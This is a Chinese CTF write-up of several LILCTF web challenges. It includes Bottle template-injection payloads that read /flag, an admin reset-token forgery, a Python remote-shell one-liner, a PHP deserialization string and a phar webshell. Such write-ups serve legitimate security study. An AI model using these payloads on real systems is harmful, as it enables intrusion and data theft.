ez_bottle 源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 from bottle import route, run, template, post, request, static_file, errorimport osimport zipfileimport hashlibimport time UPLOAD_DIR = os.path.join(os.path.dirname(__file__), 'uploads' ) os.makedirs(UPLOAD_DIR, exist_ok=True ) STATIC_DIR = os.path.join(os.path.dirname(__file__), 'static' ) MAX_FILE_SIZE = 1 * 1024 * 1024 BLACK_DICT = ["{" , "}" , "os" , "eval" , "exec" , "sock" , "<" , ">" , "bul" , "class" , "?" , ":" , "bash" , "_" , "globals" , "get" , "open" ]def contains_blacklist (content ): return any (black in content for black in BLACK_DICT)def is_symlink (zipinfo ): return (zipinfo.external_attr >> 16 ) & 0o170000 == 0o120000 def is_safe_path (base_dir, target_path ): return os.path.realpath(target_path).startswith(os.path.realpath(base_dir))@route('/' ) def index (): return static_file('index.html' , root=STATIC_DIR)@route('/static/<filename>' ) def server_static (filename ): return static_file(filename, root=STATIC_DIR)@route('/upload' ) def upload_page (): return static_file('upload.html' , root=STATIC_DIR)@post('/upload' ) def upload (): zip_file = request.files.get('file' ) if not zip_file or not zip_file.filename.endswith('.zip' ): return 'Invalid file. Please upload a ZIP file.' if len (zip_file.file.read()) > MAX_FILE_SIZE: return 'File size exceeds 1MB. Please upload a smaller ZIP file.' zip_file.file.seek(0 ) current_time = str (time.time()) unique_string = zip_file.filename + current_time md5_hash = hashlib.md5(unique_string.encode()).hexdigest() extract_dir = os.path.join(UPLOAD_DIR, md5_hash) os.makedirs(extract_dir) zip_path = os.path.join(extract_dir, 'upload.zip' ) zip_file.save(zip_path) try : with zipfile.ZipFile(zip_path, 'r' ) as z: for file_info in z.infolist(): if is_symlink(file_info): return 'Symbolic links are not allowed.' real_dest_path = os.path.realpath(os.path.join(extract_dir, file_info.filename)) if not is_safe_path(extract_dir, real_dest_path): return 'Path traversal detected.' z.extractall(extract_dir) except zipfile.BadZipFile: return 'Invalid ZIP file.' files = os.listdir(extract_dir) files.remove('upload.zip' ) return template("文件列表: {{files}}\n访问: /view/{{md5}}/{{first_file}}" , files=", " .join(files), md5=md5_hash, first_file=files[0 ] if files else "nofile" )@route('/view/<md5>/<filename>' ) def view_file (md5, filename ): file_path = os.path.join(UPLOAD_DIR, md5, filename) if not os.path.exists(file_path): return "File not found." with open (file_path, 'r' , encoding='utf-8' ) as f: content = f.read() if contains_blacklist(content): return "you are hacker!!!nonono!!!" try : return template(content) except Exception as e: return f"Error rendering template: {str (e)} " @error(404 ) def error404 (error ): return "bbbbbboooottle" @error(403 ) def error403 (error ): return "Forbidden: You don't have permission to access this resource." if __name__ == '__main__' : run(host='0.0.0.0' , port=5000 , debug=False )
简单一下心路历程()
1 2 3 4 5 6 7 8 提示flag的位置,暗示只能实现文件读取吗? 发现zip 解压操作,应激了去打软链接 很好,发现软链接被禁了 贼心不死?算了,绕不过的 最后把目光放到了template函数上 黑名单,WAF的全吗你 是bottle 开干
最后的payload是
1 2 % import builtins % raise Exception(vars (builtins)['o' +'pen' ]('/flag' ).read())
或者
1 2 % import builtins % assert 0 , vars (builtins)['o' +'pen' ]('/flag' ).read()
bottle的模板渲染只有几种方式
因此就只能用%
其余绕过详见payload
这里主要介绍一下其他人的思路,当个拓展
思路二:斜体字绕过 1 详见:https://www.tremse.cn/2025 /04/12 /bottle%E6%A1%86 %E6%9E%B6%E7%9A%84 %E4%B8%80 %E4%BA%9B%E7%89 %B9%E6%80 %A7/
总结就是:可以用%aa
来代替a,o
可以用%ba
来代替
1 2 3 % import ºs % flag=ºs.pºpen('cat /flag' ).read() % raise Exception(flag)
或者
1 2 3 4 % from bottle import abort % a = open('/flag' ).read() % abort(404 , a) % end
给梭了()
思路三:subprocess 1 2 % import subprocess % subprocess.run(['sh' ,'-c' ,'cat /flag | tee static/2.txt' ])
Ekko_note 简述一下思路:
1 2 3 4 5 6 7 8 9 10 11 通过"某种手段" 成功登录管理员账户 自己开个vps弹回指定json格式内容 成功走到os.system 这里我废了,暴毙,忘了题目环境问题,curl外带不行,标准Payload弹shell不成功 就认为不出网(bushi,刚刚还弄vps来着() 这里有两个方法 第一个写文件,题目没提到static,但我们可以利用上 mkdir -p static && cat /flag > static/flag.txt 对了用这个可以先用sleep确定根目录确有flag文件 第二种方法是,用python3去弹shell 等会会谈到()
一、登录admin 出题人本意考察选手 UUIDv8函数的不安全性
相关走进出题人的博客:聊聊python中的UUID安全 - LamentXU - 博客园
1 2 3 4 5 6 7 8 9 10 11 12 13 @app.route('/server_info' ) @login_required def server_info (): return { 'server_start_time' : SERVER_START_TIME, 'current_time' : time.time() }def padding (input_string ): byte_string = input_string.encode('utf-8' ) if len (byte_string) > 6 : byte_string = byte_string[:6 ] padded_byte_string = byte_string.ljust(6 , b'\x00' ) padded_int = int .from_bytes(padded_byte_string, byteorder='big' ) return padded_int
在该题中,我们利用 /server_info 获取server_start_time
直接生成admin的token
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 @app.route('/forgot_password' , methods=['GET' , 'POST' ] ) def forgot_password (): if request.method == 'POST' : email = request.form.get('email' ) user = User.query.filter_by(email=email).first() if user: token = str (uuid.uuid8(a=padding(user.username))) reset_token = PasswordResetToken(user_id=user.id , token=token) db.session.add(reset_token) db.session.commit() flash(f'密码恢复token已经发送,请检查你的邮箱' , 'info' ) return redirect(url_for('reset_password' )) else : flash('没有找到该邮箱对应的注册账户' , 'danger' ) return redirect(url_for('forgot_password' )) return render_template('forgot_password.html' )
在忘记密码里操作一下
这样就可以直接利用admin账号啦
1 {"current_time" :1756135944.4560633 ,"server_start_time" :1756135501.2837107 }
1 2 3 4 5 6 7 8 9 10 11 12 13 再以server_start_time为seed去拿到admin的tokenimport randomimport uuid random.seed(1756135501.2837107 )def padding (input_string ): byte_string = input_string.encode('utf-8' ) if len (byte_string) > 6 : byte_string = byte_string[:6 ] padded_byte_string = byte_string.ljust(6 , b'\x00' ) padded_int = int .from_bytes(padded_byte_string, byteorder='big' ) return padded_intprint (uuid.uuid8(a=padding('admin' )))
去/forgot_password填进去uuid和要更改的密码即可
另外一个方法就是把源码里的secret拿去伪造session,注意,改成admin没用,需要把id改为1,就拿到初始的admin账户了()
二、拿到shell 这一步省略了()
懒的去开vps…
三、反弹shell Online - Reverse Shell Generator
可以了解下这个网站()
注意 注意/bin/bash是不存在的 ,且无curl之类的工具
直接执行
1 2 python3 -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("x.x.x.x",9001));s1.listen(1);c,a=s1.accept(); while True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'
即可弹到shell
其余方法就不啰嗦了
Your Uns3r 心路历程:
1 2 3 很典型的php反序列化题目,几个简单的WAF点我都知道,所以本地就很快通了 出题人挺好心() 因此直接include "lilctf../../../../flag" 出了哎
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php highlight_file(__FILE__); class User { public $username="admin"; public $value; public function exec() { $ser = unserialize(serialize(unserialize($this->value))); if ($ser != $this->value && $ser instanceof Access) { include($ser->getToken()); } } } class Access { protected $prefix=''; protected $suffix="../../../../../../../flag"; public function getToken() { if (!is_string($this->prefix) || !is_string($this->suffix)) { throw new Exception("Go to HELL!"); } $result = $this->prefix . 'lilctf' . $this->suffix; if (strpos($result, 'pearcmd') !== false) { throw new Exception("Can I have peachcmd?"); } return $result; } } $user=new User(); $user->value=serialize(new Access()); echo urlencode(serialize($user));
注意s—>S 改admin->\61dmin(随便十六进制绕过)
注意改Access->AccEss(随便大小写绕过)
删除最后一个大括号
1 2 3 4 5 6 这里稍微注意一下,遇到了throw new Exception("nonono!!!" ); 会使php直接退出,__destruct也不会执行,需要在这之前触发__destruct 有两个方法 一是直接删除末尾的一个大括号即可 二是$payload=serialize(array($u,null)); $payload = str_replace('i:1' , 'i:0' , $payload);
传user,成功include到flag文件
1 user=O%3A4%3A%22User%22%3A2%3A%7Bs%3A8%3A%22username%22%3BS%3A5%3A%22\61dmin%22%3Bs%3A5%3A%22value%22%3Bs%3A89%3A%22O%3A6%3A%22AccEss%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00prefix%22%3Bs%3A0%3A%22%22%3Bs%3A9%3A%22%00%2A%00suffix%22%3Bs%3A25%3A%22..%2F..%2F..%2F..%2F..%2F..%2F..%2Fflag%22%3B%7D%22%3B
我曾有一份工作 心路历程:
php_jail_is_my_cry 伪源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?phpif (isset($_POST['url' ])) { $url = $_POST['url' ]; $file_name = basename($url); $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $data = curl_exec($ch); curl_close($ch); if ($data) { file_put_contents('/tmp/' .$file_name, $data); echo "文件已下载: <a href='?down=$file_name'>$file_name</a>" ; } else { echo "下载失败。" ; } }if (isset($_GET['down' ])){ include '/tmp/' . basename($_GET['down' ]); exit; } // 上传文件if (isset($_FILES['file' ])) { $target_dir = "/tmp/" ; $target_file = $target_dir . basename($_FILES["file" ]["name" ]); $orig = $_FILES["file" ]["tmp_name" ]; $ch = curl_init('file://' . $orig); // I hide a trick to bypass open_basedir, I'm sure you can find it. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $data = curl_exec($ch); curl_close($ch); if (stripos($data, ' <?') === false && stripos($data, ' php') === false && stripos($data, ' halt') === false) { file_put_contents($target_file, $data); } else { echo "存在 `<?` 或者 `php` 或者 `halt` 恶意字符!"; $data = null; } }
心路历程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 拿到伪源码后关注了两处 一个是include 另一个是严密的内容过滤 很不巧在不久前我刚好看了这篇关于php8的include与phar的邂逅 因此也是第一时间尝试RCE 一直用的是system传马,但是没看配置关了极大多数函数包括system 因此卡了很久,最后意识到了() 下一步是读懂,代码中真正缺少或者错误的地方是什么,跟随出题人的提示 我搭了本地环境 很明显,本地开的环境有一个很明显的问题,根本没有成功上传文件 是的,利用好搜索引擎之后 也是成功实现准任意文件读取了 最后彻彻底底卡住了 一头冲进gopher里面,一发不可收拾
关于php8与phar,大家可以看https://fushuling.com/index.php/2025/07/30/%e5%bd%93include%e9%82%82%e9%80%85phar-deadsecctf2025-baby-web/
简单一句话就是,当include到带.phar的文件,甚至路径带也行,它会有一步解压操作,而我们可以在phar文件写入php代码,再gzip压缩,绕过对<?的WAF,实现文件上传后的文件包含
完成了这一步之后我们只是尝试了file_put_contents函数成功,其他基本全军覆没,赛后听eval可以,我忘了试()
用eval写马就不用反复phar gzip 上传 包含的操作了()为什么会有这么蠢的人
当然,我们回顾源码,发现利用了curl
但是实际源码里的
1 2 3 4 5 6 $ch = curl_init('file://' . $orig); // I hide a trick to bypass open_basedir, I'm sure you can find it. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $data = curl_exec($ch);
根本拿不到内容,因为,还有open_basedir的限制
拷打chatgpt才知道,咱可以用
1 2 3 $ch = curl_init("file:///etc/passwd" ); curl_setopt($ch, CURLOPT_PROTOCOLS_STR, "all" );//这个默认把结果放到响应,如果要执行其他命令,可下面那样 $data = curl_exec($ch);
拿到内容
事实上我赛后试了下,你可以执行php代码之后直接拿Index.php看就行,也不至于去拷打ai()
走到这一步,算是实现文件读取,但是读不了/flag,无法执行/readflag
还是要拿到shell
跳过我对gopher的求索之路,直接走到复现cnext上吧
打cnext漏洞了,php 8.3.0可以打
/etc/passwd和/proc/self/maps可以读 ,那么就可以尝试了
注意出题人给的hint, allow_url_include没有开启 ,无法使用data://,不会有人觉得单单是在提示这个吧,那应该就是我了()
这样的话就得该打cnext的脚本,无法data://可以读文件触发
复现了
1 2 3 4 就要将resource=指向/tmp目录下的文件 同时file_put_content没有被禁用,可以写文件到/tmp再用php://filter 通过filterchain读文件打cnext 统一写文件到/tmp/io,再读取,来实现对resource的内容控制 url传入 http://*****/?down=payload.phar.gz
payload.phar.gz
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?phpif (isset($_POST["include" ])) { include $_POST["include" ]; }if (isset($_POST["download" ])) { $ch = curl_init("file://" . $_POST["download" ]); curl_setopt($ch, CURLOPT_PROTOCOLS_STR, "all" ); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $data = curl_exec($ch); curl_close($ch); echo $data; }if (isset($_POST["content" ]) && isset($_POST["path" ])) { $content = $_POST["content" ]; if ($_POST["base64" ]) { $content = base64_decode($content); } file_put_contents($_POST["path" ], $_POST["content" ]); }
生成payload一直失败,选择改cnect_exploit了
成功~
`LILCTF{daf47388-c311-4958-9894-fc239a480a31}`
出题人还给了另一种最curl的思路,之后可以看看 :https://blog.kengwang.com.cn/archives/668/
blade_cc 心路历程:
[https://www.n1ght.cn/2025/08/21/blade_cc/](https://www.n1ght.cn/2025/08/21/blade_cc/)
复现一下